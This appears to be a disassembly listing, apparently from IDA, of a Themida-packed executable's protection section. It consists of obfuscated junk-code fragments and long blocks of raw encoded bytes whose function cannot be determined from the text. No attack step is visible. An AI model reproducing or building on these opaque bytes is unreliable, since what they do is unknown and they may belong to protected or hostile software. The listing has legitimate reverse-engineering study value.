		dd 83FFFFDAh, 0B6E904C4h, 89FFFFDBh, 0D3B1240Ch, 0D986C9FEh
		dd 0D7E9D3F6h, 83FFFF68h, 0C8904ECh, 0BA53E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A073E:				; CODE XREF: Themida_:0059502Bj
		mov	esp, [esp]
		or	eax, eax
		jz	loc_596E09
		push	dword ptr [edi+1Ch]
		jmp	loc_59A7E5
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 26479FC2h, 5AD3015Ch, 83240C8Bh, 685E04C4h, 56F3h, 0BE243489h
		dd 38BD3736h, 295EF301h, 36EB81C3h, 5238BD37h, 101D75BAh
		dd 5AD30120h, 5F6E9h
		db 0
byte_5A0789	db 0ADh, 51h, 0B9h	; DATA XREF: Themida_:00590810o
		dd 34D26FF6h, 8703E1C1h, 87D6F7F1h, 18C368F1h, 78E90000h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A07A3:				; CODE XREF: Themida_:00596B45j
		xor	ecx, 749A2E8Ch
		add	ecx, 7EEB42BFh
		xor	eax, ecx
		pop	ecx
		xor	ebp, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, ebp
		jmp	loc_5A02CA
; ---------------------------------------------------------------------------
		dw 505Ch
		dd 0BD55E089h, 7961DD6h, 0F691E953h, 405FFFFh, 0E9000000h
		dd 0FFFF67EDh, 144DB951h, 0F1815445h, 7B7A008Ah, 3CE98149h
		dd 0F71A5964h, 0FCC981D9h, 816B1B6Fh, 51E2F2C1h, 59CA89D7h
		dd 0C15AD301h, 0E3C106EBh, 2F38107h, 813D06AAh,	600189EAh
		dd 81DA0155h, 600189C2h, 14335B55h, 24143124h, 0E9241433h
		dd 0FFFF72D8h
dword_5A082C	dd 8B2434FFh, 0C481240Ch, 4, 676468h, 24148900h, 0FFB346E9h
					; DATA XREF: Themida_:00590960o
		dd 673BDFFh, 0F5811625h, 4CC104E5h, 17B0B951h, 0CD091CD9h
		dd 0FFD2FFE9h
		db 0FFh
byte_5A085D	db 0ACh, 2Ch, 0E9h	; DATA XREF: Themida_:00590A3Co
		dd 0B551D800h, 20ED8043h, 0FF2089E9h, 240489FFh, 0FF7C1EE9h
		dd 0FBE959FFh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A087B:				; CODE XREF: Themida_:0059E099j
		mov	[esp], ebx
		jmp	loc_5A1B15
; ---------------------------------------------------------------------------


loc_5A0883:				; CODE XREF: Themida_:005A12BEj
		pop	esi
		jmp	loc_591FE1
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4A30F66h, 4E99C24h
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0897:				; CODE XREF: Themida_:005923B8j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edx
		jmp	loc_5A5036
; ---------------------------------------------------------------------------
		db 59h,	56h, 89h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 2434FF5Ch, 5B2434FFh
		dd 0E9E18951h, 0FFFFC9CCh
; ---------------------------------------------------------------------------


loc_5A08D0:				; CODE XREF: Themida_:005A34CDj
		add	eax, ebx
		pop	ebx
		sub	eax, ebp
		jmp	loc_5A1BC9
; ---------------------------------------------------------------------------
		dw 575Bh
		dd 12F668h, 24148900h, 0F17C4368h, 0E21DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A08EE:				; CODE XREF: Themida_:005A1D70j
		add	ebp, 4
		push	4E5Ch
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 42C72487h
		mov	esi, 0BD38DB7Dh
		jmp	loc_59D265
; ---------------------------------------------------------------------------
		dd 8B240433h, 0F662424h, 9C2404ABh, 0FF0176E9h,	240489FFh
		dd 4A4DE955h, 3C89FFFFh, 0AC00E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59EDB0
; ---------------------------------------------------------------------------
byte_5A094D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005908E4o
aHf_0		db '$hä)',0
		align 2
		dw 1C89h
		dd 34FF5424h, 2434FF24h, 5D54555Bh, 4BA52h, 0D5010000h
		dd 4C5835Ah, 5C242C87h,	2919E9h, 0F657B400h, 0D0EC80D4h
		dd 48BE230h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	al, 4Dh
		sub	al, 0EFh
		sub	al, dl
		add	al, 0EFh
		sub	al, 4Dh
		pop	edx
		push	edx
		push	cx
		mov	ch, 39h
		push	eax
		mov	ah, ch
		mov	dh, ah
		jmp	loc_59E750
; ---------------------------------------------------------------------------
		dw 5453h
		dd 0E92434FFh, 0FFFFD10Bh, 1FEEE955h, 0CF810000h, 7BA00C01h
		dd 9602EF81h, 0B2E98AB3h, 89000004h, 4832424h, 515B0424h
		dd 4B9h, 0E4FE900h, 1590000h, 58082444h, 592434FFh, 4C481h
		dd 555A0000h, 0FF4276E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A09FD:				; CODE XREF: Themida_:0059A5D6j
		mov	[esp], eax
		mov	eax, 78146437h
		jmp	loc_59400F
; ---------------------------------------------------------------------------


loc_5A0A0A:				; CODE XREF: Themida_:00590A9Fj
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_59390B
; ---------------------------------------------------------------------------
		db 89h
		dd 1BA2414h, 29000000h,	6FFE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0A26:				; CODE XREF: Themida_:00596F9Aj
		mov	ebx, 20h
		jmp	loc_59BC23
; ---------------------------------------------------------------------------
		dd 30A7E954h, 0EA81FFFFh, 0A3428953h, 835AD601h, 348704EEh
		dd 2771E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0A4A:				; CODE XREF: Themida_:00599BF1j
		push	ecx
		push	edi
		mov	edi, 54A925ABh
		xor	edi, 5F8871A5h
		shr	edi, 4
		not	edi
		sub	edi, 9BCFC287h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4F0A74A1h
		shl	edi, 2
		shr	edi, 5
		jmp	loc_5A108B
; ---------------------------------------------------------------------------


loc_5A0A7E:				; CODE XREF: Themida_:0059D375j
		add	eax, 6ECA5173h
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 3EDC7341h
		add	eax, ebx
		pop	ebx
		jmp	loc_59AC41
; ---------------------------------------------------------------------------
		db 89h
		dd 38682404h, 89000060h, 0BF57240Ch, 66053763h,	7307C781h
		dd 0E7C16927h, 0FAF78107h, 81631D4Eh, 9D48ACE7h, 5E7C132h
		dd 126DF781h, 0F989617Fh, 0AC1815Fh, 3110931Fh,	8B04244Ch
		dd 86E9240Ch
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0ADB:				; CODE XREF: Themida_:005A2485j
		neg	ah
		jmp	loc_5A463D
; ---------------------------------------------------------------------------
		dw 0D59h
		dd 1AE26959h, 0FFAB70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0AED:				; CODE XREF: Themida_:0059EBC4j
		pop	edi
		and	edx, ebx
		pop	ebx
		shr	edx, 1
		jmp	loc_5A5416
; ---------------------------------------------------------------------------
dword_5A0AF8	dd 0FF2434FFh, 83582434h, 27E904C4h		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0B07:				; CODE XREF: Themida_:0059229Dj
		xor	ecx, ebx
		jmp	loc_5A2097
; ---------------------------------------------------------------------------
		dw 0FE01h
aBuzoQ_qsz	db 'î‡oÁQ_Qé§',0
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_5A0B1D:				; CODE XREF: Themida_:0059B48Aj
		pop	esp
		jmp	loc_5999B2
; ---------------------------------------------------------------------------
byte_5A0B23	db 66h			; DATA XREF: Themida_:0059088Co
		dd 68240C8Bh, 0B68h, 83243489h,	0BAE904ECh, 5DFFFF65h
		dd 7B9C68h, 24348900h, 8B2434FFh, 5453243Ch, 69E9505Bh
		dd 58FFFFD7h, 1C16C781h, 0F82926C6h, 242C8B5Fh,	0E904C483h
		dd 0FFFF80F2h, 56240489h, 0B341F0BEh, 0CFA4E910h, 768FFFFh
		dd 8900004Fh, 4BE2434h,	1000000h, 0EF2DE9F2h, 3C89FFFFh
		dd 290BF24h, 0D7F70315h, 6290E781h, 0DFF7726Bh,	8105E7C1h
		dd 81FA00EFh, 8BF9299Bh, 0C483243Ch, 0FEBD5504h, 814ABB31h
		dd 0D02B3EEDh, 81EDD17Eh, 69E5F2F5h, 0E9E92143h, 0FFFF79D8h
		dd 4BB53h, 59530000h, 1288E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0BD1:				; CODE XREF: Themida_:00595C10j
		or	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_5A2078
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 0BA5204C4h, 2, 535AD301h, 42474FFh, 0E9241C8Bh, 0FFFF2FC0h
		dd 0E50B68B9h, 1D85E97Bh, 0BD55FFFFh, 2AFD6B59h, 5E5C145h
		dd 908BF57h, 0FD314139h, 8E5C15Fh, 3A83C581h, 0E95135EFh
		dd 0FFFF9AABh
; ---------------------------------------------------------------------------


loc_5A0C20:				; CODE XREF: Themida_:0059AE49j
		pop	edi
		jmp	loc_59A38C
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 95F780F6h, 0B5A0C780h, 5BFD30AFh, 5966EB00h,	77E95166h
		dd 80FFFF3Eh, 0DA8879F3h, 3138E95Bh, 89560000h,	4C681E6h
		dd 81000000h, 4C6h, 24348700h, 0FE42E95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A0C62:				; CODE XREF: Themida_:00593A8Dj
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_599E2A
; ---------------------------------------------------------------------------
		db 89h
		dd 8CAE9D1h, 0FF5BFFFFh, 34FF2434h, 0C4815A24h,	4, 4EC81h
		dd 2C890000h, 99E95424h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0C93:				; CODE XREF: Themida_:0059E656j
		mov	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	dword ptr [esp+4], 39880D71h
		jmp	loc_590E1F
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5A04h, 0F1E95C24h, 81FFFFBDh, 966B1BEAh, 3FF1E924h
		dd 0DD880000h, 0FFB6BCE9h, 0E28952FFh, 4C281h, 0EA810000h
		dd 4, 5C241487h, 0FF388BE9h, 24048FFFh,	0D1F7CA87h, 9868CA87h
		dd 8900005Dh, 74FF2414h, 148B0424h, 0E3895324h,	4D43BF57h
		dd 0DFF722A0h, 0ECDF781h, 814F3F02h, 0A24395C7h, 0C6C3E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0D16:				; CODE XREF: Themida_:00591FB7j
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_59D239
; ---------------------------------------------------------------------------


loc_5A0D29:				; CODE XREF: Themida_:005A36F8j
		mov	[esp], eax
		push	edi
		push	eax
		push	ebp
		push	6E643985h
		pop	ebp
		neg	ebp
		xor	ebp, 0D6BCCC7Ch
		mov	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		neg	edi
		add	edi, 1
		shl	edi, 7
		not	edi
		or	edi, 6F822015h
		jmp	loc_59B3A7
; ---------------------------------------------------------------------------


loc_5A0D58:				; CODE XREF: Themida_:00597EF0j
		push	ebp
		mov	ebp, 5017518Ah
		push	ebp
		push	6A7904CAh
		pop	ebp
		jmp	loc_5A3C43
; ---------------------------------------------------------------------------


loc_5A0D6A:				; CODE XREF: Themida_:0059B4EDj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5957A3
; ---------------------------------------------------------------------------


loc_5A0D78:				; CODE XREF: Themida_:0059D69Fj
		add	eax, ebx
		jmp	loc_5949B8
; ---------------------------------------------------------------------------
		db 68h
		dd 7AA3h, 0FF12E0E9h, 54515CFFh, 4BD5559h, 81000000h, 0CA078DC1h
		dd 1FC18106h, 146D70Ch,	4AE950E9h, 0FFFFFF31h, 8B042474h
		dd 0C483243Ch, 24048F04h, 4E0CE95Ch, 7BB9FFFFh,	0E9FB2C8Eh
		dd 0A1Fh
dword_5A0DC4	dd 24048B66h, 81E68956h, 4C6h, 0AAEAE900h		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0DD6:				; CODE XREF: Themida_:0059850Aj
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_597526
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd offset dword_455248+1C8A1h
		dd 24448100h, 0EA58E504h, 24048B72h, 0FFF787E9h, 24048FFFh
		dd 315AE9h, 242C8B00h, 0FEFF09E9h, 2434FFFFh, 0FF2434FFh
		dd 53582434h, 0C3815B54h, 4, 71D5E956h,	0C87FFFFh, 0C4835C24h
		dd 4C48104h, 66000000h,	66335B68h, 53241489h, 0DE883EB3h
		dd 64E9525Bh
		db 1Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0E43:				; CODE XREF: Themida_:005A01A8j
		and	esi, 4FEF7BC8h
		and	esi, 67636DD2h
		jmp	loc_59F121
; ---------------------------------------------------------------------------


loc_5A0E54:				; CODE XREF: Themida_:00592D7Ej
		mov	[esp], edi
		mov	edi, 7DC2265Ah
		shr	edi, 5
		sub	edi, 0E148ABDBh
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_594DA8
; ---------------------------------------------------------------------------


loc_5A0E6F:				; CODE XREF: Themida_:0059BCE4j
		sub	eax, 0B5873926h
		push	eax
		jmp	loc_5A3C37
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 2EBC101h, 0FFB908E9h, 5FFD29FFh, 55DE801h, 49C014D5h
		dd 0EC83D801h, 243C8904h, 0FFE126E9h, 6BF57FFh,	0E90DE91Dh
		dd 2D03h, 0E92414F6h, 0FFFF63E4h
; ---------------------------------------------------------------------------


loc_5A0EB0:				; CODE XREF: Themida_:0059EDC8j
		xchg	ecx, [esp]
		jmp	loc_5A4AA4
; ---------------------------------------------------------------------------


loc_5A0EB8:				; CODE XREF: Themida_:00598225j
		push	7489h
		mov	[esp], esi
		jmp	loc_595EF2
; ---------------------------------------------------------------------------


loc_5A0EC5:				; CODE XREF: Themida_:0059F4DAj
		dec	ebx
		jmp	loc_593990
; ---------------------------------------------------------------------------


loc_5A0ECB:				; CODE XREF: Themida_:0059C168j
		sub	eax, 329E008Bh
		add	eax, ebx
		add	eax, 329E008Bh
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_594F7D
; ---------------------------------------------------------------------------
		db 89h
		dd 59CE89C1h, 0BFFAE958h, 3487FFFFh, 24248B24h,	50241489h
		dd 0FB99E99Ch, 0E981FFFEh, 1C28162Fh, 730BC181h, 3C8B296Bh
		dd 4C48124h, 1000000h, 32C181F9h, 521A687Ch, 4215BB53h
		dd 0CB8132B1h, 36B125DAh, 3E29E381h, 0CB812A86h, 12D81386h
		dd 0D1FFEB83h, 38C381EBh, 89E693E4h, 2EE95BDAh
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0F4B:				; CODE XREF: Themida_:0059F370j
		push	6B65h
		jmp	loc_5A13B9
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 81000000h, 0BC04246Ch, 15F264Ch, 57042444h, 264CBCBFh
		dd 0E6B6E95Fh, 0EF81FFFFh, 4, 31243C33h, 19E9243Ch
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0F83:				; CODE XREF: Themida_:00593664j
		push	1993h
		mov	[esp], esi
		mov	esi, 3AFA0A40h
		add	edi, esi
		pop	esi
		shl	edi, 8
		neg	edi
		jmp	loc_59DA5E
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0AFh
		dd 0E9161B44h, 0FFFF0C3Dh, 9E69D2B8h, 0C2C2E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0FB2:				; CODE XREF: Themida_:005932CDj
		pop	dword ptr [esp]
		jmp	loc_59ABBE
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4363B3C2h, 0F7C28124h, 1562C1Ah, 0F7EA81EAh,	0E9562C1Ah
		dd 0FFFF4F6Ah, 5103EAC0h, 0E5C07AB5h, 1E58003h,	66E3E580h
		dd 30F7B353h, 44BE9DDh,	0BD550000h, 5BAB19E5h, 0F0B2C581h
		dd 0CDE9A80Bh
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0FFF:				; CODE XREF: Themida_:005A3281j
		add	esp, 4
		sub	eax, ebp
		push	ebp
		mov	ebp, 13FF74C4h
		add	eax, 5EDA65DFh
		add	eax, ebp
		sub	eax, 5EDA65DFh
		pop	ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		push	5D905EA7h
		pop	esi
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		push	587Ch
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4CE32B8Ch
		mov	edi, ebp
		pop	ebp
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		and	esi, 4553569Fh
		push	esi
		jmp	loc_59BB55
; ---------------------------------------------------------------------------


loc_5A1055:				; CODE XREF: Themida_:00592E3Cj
		pop	ebx
		push	ebp
		jmp	loc_59D4B6
; ---------------------------------------------------------------------------
		dd 84B75358h, 0EFB35352h, 0FFD561E9h, 4C483FFh,	5A2434FFh
		dd 4C481h, 0FEE90000h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A107B:				; CODE XREF: Themida_:005929F7j
		pop	edx
		add	esp, 4
		xor	ah, 0F7h
		add	ah, 3Dh
		push	edx
		jmp	loc_5A3183
; ---------------------------------------------------------------------------


loc_5A108B:				; CODE XREF: Themida_:005A0A79j
		or	edi, 736F3DBDh
		shr	edi, 3
		add	edi, 68BA2EE5h
		xor	ecx, edi
		pop	edi
		shr	ecx, 8
		jmp	loc_592740
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 13h
		dd 0E909CC3Fh, 0FFFFBD1Ah
; ---------------------------------------------------------------------------


loc_5A10B0:				; CODE XREF: Themida_:00596A76j
		pop	edi
		push	ebp
		jmp	loc_59F64F
; ---------------------------------------------------------------------------


loc_5A10B7:				; CODE XREF: Themida_:00599F85j
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A29A2
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0FEFD2BE9h, 0E9122CFFh, 3D9Eh, 80DAB450h, 3DE984F4h
		dd 0BAFFFFABh, 46F7741h, 0E95AD129h, 44F7h, 0F0305866h
		dd 8324148Bh, 0B3E904C4h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A10F7:				; CODE XREF: Themida_:0059CEB3j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 5FF478BFh
		push	137Bh
		mov	[esp], esi
		push	5DDFh
		mov	[esp], edi
		push	ebp
		mov	ebp, 7F690717h
		push	691Eh
		jmp	loc_590E81
; ---------------------------------------------------------------------------


loc_5A1132:				; CODE XREF: Themida_:005A2456j
		mov	ebp, [esp]
		jmp	loc_5A5B04
; ---------------------------------------------------------------------------
word_5A113A	dw 8B66h		; DATA XREF: Themida_:00590A4Co
		dd 5768240Ch, 89000047h, 8B54241Ch, 0DAE9241Ch,	8BFFFF22h
		dd 0EB812424h, 61B8570Dh, 0BA52CB01h, 7FA0228Fh, 0FEFFC8E9h
		dd 4C483FFh, 4C3815Bh, 57000000h, 4BFh,	8BFB0100h, 0C483243Ch
		dd 241C3304h, 33241C31h, 248B241Ch, 43685024h, 0E900004Fh
		dd 0FFFFF2DAh, 30B75358h, 0FF6A1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A119D:				; CODE XREF: Themida_:0059DAFAj
		mov	ecx, 258508EAh
		add	ecx, 1
		neg	ecx
		or	ecx, 20184E38h
		xor	ecx, 0FA7AFF39h
		mov	edi, ecx
		pop	ecx
		jmp	loc_59ED29
; ---------------------------------------------------------------------------
		db 50h
		dd 0AB08B4B8h, 58C5011Fh, 3A33E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A11C9:				; CODE XREF: Themida_:0059F956j
		mov	[esp], esp
		jmp	loc_59DCBA
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0A0h
		dd 5E30563Fh, 4EC81h, 14890000h, 2474FF24h, 50E95A04h
		dd 66000012h, 3141E959h, 148BFFFFh, 0E6895624h,	0FF9994E9h
		dd 59CA89FFh, 0FFB3BFE9h, 0FEC581FFh, 295C424Ch, 0C3295DE8h
		dd 0FF7915E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1215:				; CODE XREF: Themida_:005A3145j
		pop	esp
		shl	ebx, 4
		jmp	loc_5A1918
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5D0424h, 248B2404h, 471BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A122E:				; CODE XREF: Themida_:0059362Bj
		mov	[esp], ebx
		push	edx
		jmp	loc_599464
; ---------------------------------------------------------------------------
		db 33h
		dd 665C240Ch, 8B66F801h, 0B668243Ch, 8900002Eh,	5A542414h
		dd 492068h, 24048900h, 1217DEB8h, 510F350Fh, 0F60D27F8h
		dd 0E911D746h, 0FFFF73BFh, 5124048Bh, 4B9268h, 24248900h
		dd 4240483h, 4C18159h, 68000000h, 3828h, 0BA241489h, 5CF617E2h
		dd 0C104EAC1h, 0F28102EAh, 5FC56D4Bh, 0DFE9DAF7h, 1FFFF79h
		dd 0F4E95FFAh, 25FFFEF7h, 3F14C7h, 0FFF2B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A12B1:				; CODE XREF: Themida_:005987E1j
		sub	esp, 4
		mov	[esp], esi
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5A0883
; ---------------------------------------------------------------------------
		db 81h
		dd 0FE1CD1C3h, 0E9EB0100h, 0FFFF2E48h, 0FFFFB850h, 0C529FFFFh
		dd 9DBF5758h, 472C0C28h, 1819C781h, 0DFF750A2h,	4326E9h
		dd 2DE80100h, 7A474299h, 83242C8Bh, 0BA5204C4h,	4, 335AD001h
		dd 0DDE92404h, 1FFFF7Eh, 0E95357CAh, 0FFFF7AE3h, 4C7815Fh
		dd 0E9000000h, 25BCh, 8B5EF001h, 0C4832434h, 240C8B04h
		dd 0E9E78957h, 0FFFF981Fh, 0F65AD430h, 80D4F6DCh, 0E2304AECh
		dd 0E9D38858h, 0FFFFAD91h, 815B5453h, 4C3h, 4EB8300h, 5C241C87h
		dd 0B9240C89h, 11974E10h, 0C8BCE29h, 4C48124h, 81000000h
		dd 0F86E86C6h, 0EAEE8175h, 0E9620105h, 0FFFF61DBh
; ---------------------------------------------------------------------------


loc_5A137C:				; CODE XREF: Themida_:005A19DBj
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp]
		jmp	loc_592D66
; ---------------------------------------------------------------------------


loc_5A1387:				; CODE XREF: Themida_:00591EB3j
		mov	ecx, 70C869FCh
		push	edi
		mov	edi, 722150E1h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 72FF6D21h
		neg	ecx
		sub	ecx, 0A503A282h
		sub	edx, ecx
		pop	ecx
		sub	esi, 56EF6FF8h
		jmp	loc_59ABB7
; ---------------------------------------------------------------------------


loc_5A13B9:				; CODE XREF: Themida_:005A0F50j
		mov	[esp], ecx
		jmp	loc_596A10
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 53D9F75Ch, 7F57BA52h, 21E92FA7h
		dd 0F7FFFF4Dh, 30CBE9DBh, 0C87FFFFh, 4295C24h, 0B9BD5524h
		dd 14C430Ch, 5D04246Ch,	0FF0FCCE9h, 4C481FFh, 29000000h
		dd 4E322DD8h, 89517C35h, 0DDE950E1h, 30FFFF12h,	41E9E9E1h
		dd 76BAFFFFh, 8175DF63h, 0DF6372EAh, 0F845E975h, 2489FFFFh
		dd 24048324h, 24348B04h, 2764E9h, 805B6600h, 0EA2898F5h
		dd 0E9CAFE59h, 259Eh, 0F7DAF74Ah, 1038E9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1452:				; CODE XREF: Themida_:00592532j
		add	edx, eax
		pop	eax
		jmp	loc_597932
; ---------------------------------------------------------------------------


loc_5A145A:				; CODE XREF: Themida_:00594F78j
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	224Ah
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		jmp	loc_5A41D7
; ---------------------------------------------------------------------------


loc_5A147E:				; CODE XREF: Themida_:00592770j
		mov	eax, 42CC4F4Dh
		xor	eax, 106B6D9Ch
		jmp	loc_595A0A
; ---------------------------------------------------------------------------


loc_5A148D:				; CODE XREF: Themida_:005A4288j
		pop	edi
		add	edi, 4
		jmp	loc_59C144
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0FF07A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A14A1:				; CODE XREF: Themida_:005A1CD8j
		add	eax, 4
		push	4C34h
		mov	[esp], esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A1FEE
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 21E95A04h, 57000037h, 0C1815F5Bh, 4CF7D1Dh, 0E981D929h
		dd 4CF7D1Dh, 0FF0AA5E9h, 246C01FFh, 48F5D04h, 4C126824h
		dd 3C890000h, 2B60BF24h, 0B9E9687Dh, 0BBFFFFEFh, 36127B59h
		dd 34FFDA89h, 0C4815B24h, 4, 175C5A05h,	0FAE95112h, 89FFFF5Eh
		dd 4812424h, 424h, 83E7E900h, 3C89FFFFh, 66F36824h, 4890000h
		dd 490AB824h, 226875EFh, 89000039h, 0C1B9240Ch,	8159C91Bh
		dd 0D237A0F1h, 81D9F77Fh, 0C03EB6F1h, 0ACC18132h, 0E95FEA7Ch
		dd 0FFFF0429h, 0FE085866h, 8B33E95Bh, 0D830FFFFh, 81E28952h
		dd 4C2h, 4EA8300h, 467E9h, 241CF700h, 83243C8Bh, 814F04C4h
		dd 4365A1EFh, 3532E9EDh, 60680000h, 0E900006Ah,	0FFFFF4DBh
; ---------------------------------------------------------------------------


loc_5A15BC:				; CODE XREF: Themida_:0059777Bj
		or	ecx, ebx
		pop	ebx
		add	ecx, 0DCC9A0F1h
		jmp	loc_59F581
; ---------------------------------------------------------------------------
		dw 0E2D0h
		dd 0E904EC83h, 272Eh
; ---------------------------------------------------------------------------


loc_5A15D4:				; CODE XREF: Themida_:005A2FDAj
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		jmp	loc_5915CA
; ---------------------------------------------------------------------------


loc_5A15E6:				; CODE XREF: Themida_:0059493Dj
					; Themida_:00597E05j ...
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_5A2748
; ---------------------------------------------------------------------------
		db 0B9h, 9Ch, 5Ah
		dd 4C0129ADh, 0E9590424h, 0FFFEF49Bh, 4EC81h, 14890000h
		dd 96E95124h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A160F:				; CODE XREF: Themida_:0059F6E8j
		pop	eax
		jmp	loc_5945A2
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 216368h, 243C8900h, 0C781E789h, 4, 0A1DDE950h, 2C89FFFFh
		dd 0E9E58924h, 0FFFF43E7h, 7A4468h, 1B5DE900h, 0EC68FFFFh
		dd 89000048h, 0C8E9240Ch
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A164F:				; CODE XREF: Themida_:00598C23j
		add	ecx, 31F471D4h
		add	ecx, edi
		jmp	loc_591D18
; ---------------------------------------------------------------------------
		dd 42474FFh, 5224348Bh,	0BB53E289h, 569221CAh, 0FF079FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1671:				; CODE XREF: Themida_:0059E901j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0C2C30D4h
		and	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 1B8774EDh
		jmp	loc_5931C6
; ---------------------------------------------------------------------------
		dd 20E9525Ch, 58000016h, 4C481h, 0C2010000h, 4D2DB850h
		dd 0D0F74B63h, 2368E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A16A9:				; CODE XREF: Themida_:0059D038j
		mov	[esp], eax
		jmp	loc_598E14
; ---------------------------------------------------------------------------


